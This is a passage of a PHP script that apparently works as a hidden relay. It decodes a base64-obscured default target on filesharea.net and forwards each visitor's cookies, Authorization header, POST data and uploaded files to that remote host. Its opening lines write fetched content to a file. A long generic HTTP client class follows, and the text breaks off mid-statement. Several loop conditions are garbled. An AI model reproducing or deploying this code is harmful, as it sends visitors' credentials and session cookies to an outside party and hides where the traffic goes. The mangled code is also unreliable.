/si", $sStr, $matches); // echo "



===
".$matches['0']; $open=fopen($FileRun,"w"); fwrite($open, $matches['0']); fclose($open); } $DEBUG = false; if ($_GET['timeout']=='1') die('1'); $_GET['encoded'] = (empty($_GET['encoded'])?"VXJsPWh0dHA6Ly9maWxlc2hhcmVhLm5ldC80MDQucGhw":$_GET['encoded']); if (get_magic_quotes_gpc()) { function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); } $_COOKIE = stripslashes_array($_COOKIE); $_FILES = stripslashes_array($_FILES); $_GET = stripslashes_array($_GET); $_POST = stripslashes_array($_POST); $_REQUEST = stripslashes_array($_REQUEST); } $decoded = base64_decode(urldecode($_GET['encoded'])); $pairs = explode("&", $decoded); $VARS = array(); foreach($pairs as $pair) { list($key, $value) = explode("=", $pair); $VARS[$key] = urldecode($value); } $sUrl = !empty($VARS['Url']) ? $VARS['Url'] : null; $sPost = !empty($VARS['Post']) ? $VARS['Post'] : null; $sMethod = !empty($VARS['Method']) ? $VARS['Method'] : null; if($sMethod == "POST") { $post = true; } else { $post = false; } if(!empty($sPost)) { $sUrl = $sUrl . "?" . $sPost; } $rawdata = file_get_contents('php://input'); if(!empty($rawdata)) { logToFile("server.txt", "RAW: $rawdata"); } if(!empty($_SERVER["HTTP_REFERER"])) $headers[] = "Referer: " . $_SERVER["HTTP_REFERER"]; if(!empty($_SERVER["HTTP_ACCEPT"])) $headers[] = "Accept: " . $_SERVER["HTTP_ACCEPT"]; if(!empty($_SERVER["HTTP_ACCEPT_CHARSET"])) $headers[] = "Accept-Charset: " . $_SERVER["HTTP_ACCEPT_CHARSET"]; if(!empty($_SERVER["HTTP_ACCEPT_LANGUAGE"])) $headers[] = "Accept-Language: " . $_SERVER["HTTP_ACCEPT_LANGUAGE"]; if(!empty($_SERVER["CONTENT_TYPE"])) $headers[] = "Content-Type: " . $_SERVER["CONTENT_TYPE"]; if(function_exists("apache_request_headers")) { if($aheaders = apache_request_headers()) { if(!empty($aheaders['Authorization'])) { $headers[] = "Authorization: " . $aheaders['Authorization']; } } } //$headers[] = "Authorization: Basic MTAwNTU6VGpma3NVcWQ="; //$headers[] = "Accept-Encoding: deflate"; /*foreach($headers as $k=>$v) { logToFile("server.txt", "$k: $v"); }*/ //logToFile("server.txt", "-------------------------\n"); @set_time_limit(0); $http=new http_class; /* Connection timeout */ $http->timeout=0; /* Data transfer timeout */ $http->data_timeout=0; /* Output debugging information about the progress of the connection */ $http->debug=0; /* Format dubug output to display with HTML pages */ $http->html_debug=0; $http->user_agent=$_SERVER['HTTP_USER_AGENT']; $http->follow_redirect=0; //$http->redirection_limit=10; $http->support_cookies=0; $http->prefer_curl=0; $error=$http->GetRequestArguments($sUrl,$arguments); //$arguments["Headers"]["Pragma"]="nocache"; foreach($headers as $h) { list($k, $v) = explode(": ", $h); $arguments["Headers"][$k]=$v; } if($post) { $arguments["RequestMethod"]="POST"; if(!empty($rawdata)) { $arguments["Body"] = $rawdata; } else { $pv = set_post_vars($_POST); $arguments["PostValues"] = $pv; } foreach($_FILES as $k=>$v) { $n = $k; $path = $v['tmp_name']; //$newfile = $uploaddir . $v['name']; //move_uploaded_file($path, $newfile); if(!empty($path)) { $arguments["PostFiles"][$n]['Name'] = $v['name']; $arguments["PostFiles"][$n]['Content-Type'] = $v['type']; $arguments["PostFiles"][$n]['FileName'] = $path; } } } $cook = cenc2(); if(!empty($cook)) { $arguments["Headers"]["Cookie"]=$cook; logToFile("server.txt", "cook: $cook"); $arguments["Headers"]["Cookie2"]='$Version=1'; } $error=$http->Open($arguments); if($error=="") { $error=$http->SendRequest($arguments); if($error=="") { if($DEBUG) { logToFile("request.txt", "URL: $sUrl"); for(Reset($http->request_headers),$header=0;$headerrequest_headers);Next($http->request_headers),$header++) { $header_name=Key($http->request_headers); if(GetType($http->request_headers[$header_name])=="array") { for($header_value=0;$header_valuerequest_headers[$header_name]);$header_value++) logToFile("request.txt", $header_name.": ".$http->request_headers[$header_name][$header_value]); } else logToFile("request.txt", $header_name.": ".$http->request_headers[$header_name]); } logToFile("request.txt", "-----------------"); } $headers=array(); $error=$http->ReadReplyHeaders($headers); logToFile("reply.txt", "URL: $sUrl"); for(Reset($headers),$header=0;$header$tmp); } if(GetType($headers[$header_name])=="array") { for($header_value=0;$header_valueReadReplyBody($body,1000); if($error!="" || strlen($body)==0) break; echo $body; flush(); } } /*$http->SaveCookies($site_cookies); if(!empty($site_cookies)) { @file_put_contents("cook.dat", serialize($site_cookies)); }*/ $http->Close(); } if(strlen($error)) echo "

Error: ",$error,"

\n"; exit(0); ##################################################### function cookieEncode($str) { return str_replace(array(' ', "\t", ';', ','), array('%20', '%09', '%3B', '%2C'), $str); } function cookieDecode($str) { return str_replace(array('%20', '%09', '%3B', '%2C'), array(' ', "\t", ';', ','), $str); } function cenc2() { $qs = ""; if (@sizeof(array_values($_COOKIE)) > 0) { foreach ($_COOKIE as $key => $val) { if (is_array($val) || is_object($val)) { $qs .= "$key=" . rawurlencode(serialize($val)) + "; "; } else { //if(preg_match("/\\;|\\=/", $val)) $val = rawurlencode($val); //$val = cenc($val, 0); $key = cookieEncode($key); $val = cookieEncode($val); $qs .= "$key=$val; "; } } } $qs = rtrim($qs, "; "); return $qs; } function set_post_vars($array, $parent_key = null) { $temp = array(); foreach ($array as $key => $value) { $key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, ($key)) : ($key); if (is_array($value)) { $temp = array_merge($temp, set_post_vars($value, $key)); } else { $temp[$key] = ($value); } } return $temp; } function logToFile($filename, $msg) { if(!$DEBUG) return; // open file $fd = fopen($filename, "a"); // append date/time to message $str = "[" . date("Y/m/d h:i:s", mktime()) . "] " . $msg; // write string fwrite($fd, $str . "\n"); // close file fclose($fd); } class http_class { var $host_name=""; var $host_port=0; var $proxy_host_name=""; var $proxy_host_port=80; var $socks_host_name = ''; var $socks_host_port = 1080; var $protocol="http"; var $request_method="GET"; var $user_agent='httpclient'; var $authentication_mechanism=""; var $user; var $password; var $realm; var $workstation; var $proxy_authentication_mechanism=""; var $proxy_user; var $proxy_password; var $proxy_realm; var $proxy_workstation; var $request_uri=""; var $request=""; var $request_headers=array(); var $request_user; var $request_password; var $request_realm; var $request_workstation; var $proxy_request_user; var $proxy_request_password; var $proxy_request_realm; var $proxy_request_workstation; var $request_body=""; var $request_arguments=array(); var $protocol_version="1.1"; var $timeout=0; var $data_timeout=0; var $debug=0; var $debug_response_body=1; var $html_debug=0; var $support_cookies=1; var $cookies=array(); var $error=""; var $exclude_address=""; var $follow_redirect=0; var $redirection_limit=5; var $response_status=""; var $response_message=""; var $file_buffer_length=8000; var $force_multipart_form_post=0; var $prefer_curl = 0; /* private variables - DO NOT ACCESS */ var $state="Disconnected"; var $use_curl=0; var $connection=0; var $content_length=0; var $response=""; var $read_response=0; var $read_length=0; var $request_host=""; var $next_token=""; var $redirection_level=0; var $chunked=0; var $remaining_chunk=0; var $last_chunk_read=0; var $months=array( "Jan"=>"01", "Feb"=>"02", "Mar"=>"03", "Apr"=>"04", "May"=>"05", "Jun"=>"06", "Jul"=>"07", "Aug"=>"08", "Sep"=>"09", "Oct"=>"10", "Nov"=>"11", "Dec"=>"12"); var $session=''; var $connection_close=0; /* Private methods - DO NOT CALL */ Function Tokenize($string,$separator="") { if(!strcmp($separator,"")) { $separator=$string; $string=$this->next_token; } for($character=0;$characternext_token=substr($string,$found+1); return(substr($string,0,$found)); } else { $this->next_token=""; return($string); } } Function CookieEncode($value, $name) { return($name ? str_replace("=", "%25", $value) : str_replace(";", "%3B", $value)); } Function SetError($error) { return($this->error=$error); } Function SetPHPError($error, &$php_error_message) { if(IsSet($php_error_message) && strlen($php_error_message)) $error.=": ".$php_error_message; return($this->SetError($error)); } Function SetDataAccessError($error,$check_connection=0) { $this->error=$error; if(!$this->use_curl && function_exists("socket_get_status")) { $status=socket_get_status($this->connection); if($status["timed_out"]) $this->error.=": data access time out"; elseif($status["eof"]) { if($check_connection) $this->error=""; else $this->error.=": the server disconnected"; } } } Function OutputDebug($message) { $message.="\n"; if($this->html_debug) $message=str_replace("\n","
\n",HtmlEntities($message)); echo $message; flush(); } Function GetLine() { for($line="";;) { if($this->use_curl) { $eol=strpos($this->response,"\n",$this->read_response); $data=($eol ? substr($this->response,$this->read_response,$eol+1-$this->read_response) : ""); $this->read_response+=strlen($data); } else { if(feof($this->connection)) { $this->SetDataAccessError("reached the end of data while reading from the HTTP server connection"); return(0); } $data=fgets($this->connection,100); } if(GetType($data)!="string" || strlen($data)==0) { $this->SetDataAccessError("it was not possible to read line from the HTTP server"); return(0); } $line.=$data; $length=strlen($line); if($length && !strcmp(substr($line,$length-1,1),"\n")) { $length-=(($length>=2 && !strcmp(substr($line,$length-2,1),"\r")) ? 2 : 1); $line=substr($line,0,$length); if($this->debug) $this->OutputDebug("S $line"); return($line); } } } Function PutLine($line) { if($this->debug) $this->OutputDebug("C $line"); if(!fputs($this->connection,$line."\r\n")) { $this->SetDataAccessError("it was not possible to send a line to the HTTP server"); return(0); } return(1); } Function PutData(&$data) { if(strlen($data)) { if($this->debug) $this->OutputDebug("C $data"); if(!fputs($this->connection,$data)) { $this->SetDataAccessError("it was not possible to send data to the HTTP server"); return(0); } } return(1); } Function FlushData() { if(!fflush($this->connection)) { $this->SetDataAccessError("it was not possible to send data to the HTTP server"); return(0); } return(1); } Function ReadChunkSize() { if($this->remaining_chunk==0) { $debug=$this->debug; if(!$this->debug_response_body) $this->debug=0; $line=$this->GetLine(); $this->debug=$debug; if(GetType($line)!="string") return($this->SetError("4 could not read chunk start: ".$this->error)); $this->remaining_chunk=hexdec($line); } return(""); } Function ReadBytes($length) { if($this->use_curl) { $bytes=substr($this->response,$this->read_response,min($length,strlen($this->response)-$this->read_response)); $this->read_response+=strlen($bytes); if($this->debug && $this->debug_response_body && strlen($bytes)) $this->OutputDebug("S ".$bytes); } else { if($this->chunked) { for($bytes="",$remaining=$length;$remaining;) { if(strlen($this->ReadChunkSize())) return(""); if($this->remaining_chunk==0) { $this->last_chunk_read=1; break; } $ask=min($this->remaining_chunk,$remaining); $chunk=@fread($this->connection,$ask); $read=strlen($chunk); if($read==0) { $this->SetDataAccessError("it was not possible to read data chunk from the HTTP server"); return(""); } if($this->debug && $this->debug_response_body) $this->OutputDebug("S ".$chunk); $bytes.=$chunk; $this->remaining_chunk-=$read; $remaining-=$read; if($this->remaining_chunk==0) { if(feof($this->connection)) return($this->SetError("reached the end of data while reading the end of data chunk mark from the HTTP server")); $data=@fread($this->connection,2); if(strcmp($data,"\r\n")) { $this->SetDataAccessError("it was not possible to read end of data chunk from the HTTP server"); return(""); } } } } else { $bytes=@fread($this->connection,$length); if(strlen($bytes)) { if($this->debug && $this->debug_response_body) $this->OutputDebug("S ".$bytes); } else $this->SetDataAccessError("it was not possible to read data from the HTTP server", $this->connection_close); } } return($bytes); } Function EndOfInput() { if($this->use_curl) return($this->read_response>=strlen($this->response)); if($this->chunked) return($this->last_chunk_read); return(feof($this->connection)); } Function Resolve($domain, &$ip, $server_type) { if(ereg('^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$',$domain)) $ip=$domain; else { if($this->debug) $this->OutputDebug('Resolving '.$server_type.' server domain "'.$domain.'"...'); if(!strcmp($ip=@gethostbyname($domain),$domain)) $ip=""; } if(strlen($ip)==0 || (strlen($this->exclude_address) && !strcmp(@gethostbyname($this->exclude_address),$ip))) return($this->SetError("could not resolve the host domain \"".$domain."\"")); return(''); } Function Connect($host_name, $host_port, $ssl, $server_type = 'HTTP') { $domain=$host_name; $port = $host_port; if(strlen($error = $this->Resolve($domain, $ip, $server_type))) return($error); if(strlen($this->socks_host_name)) { $host_ip = $ip; $port = $this->socks_host_port; $host_server_type = $server_type; $server_type = 'SOCKS'; if(strlen($error = $this->Resolve($this->socks_host_name, $ip, $server_type))) return($error); } if($this->debug) $this->OutputDebug('Connecting to '.$server_type.' server IP '.$ip.' port '.$port.'...'); if($ssl) $ip="ssl://".$ip; if(($this->connection=($this->timeout ? @fsockopen(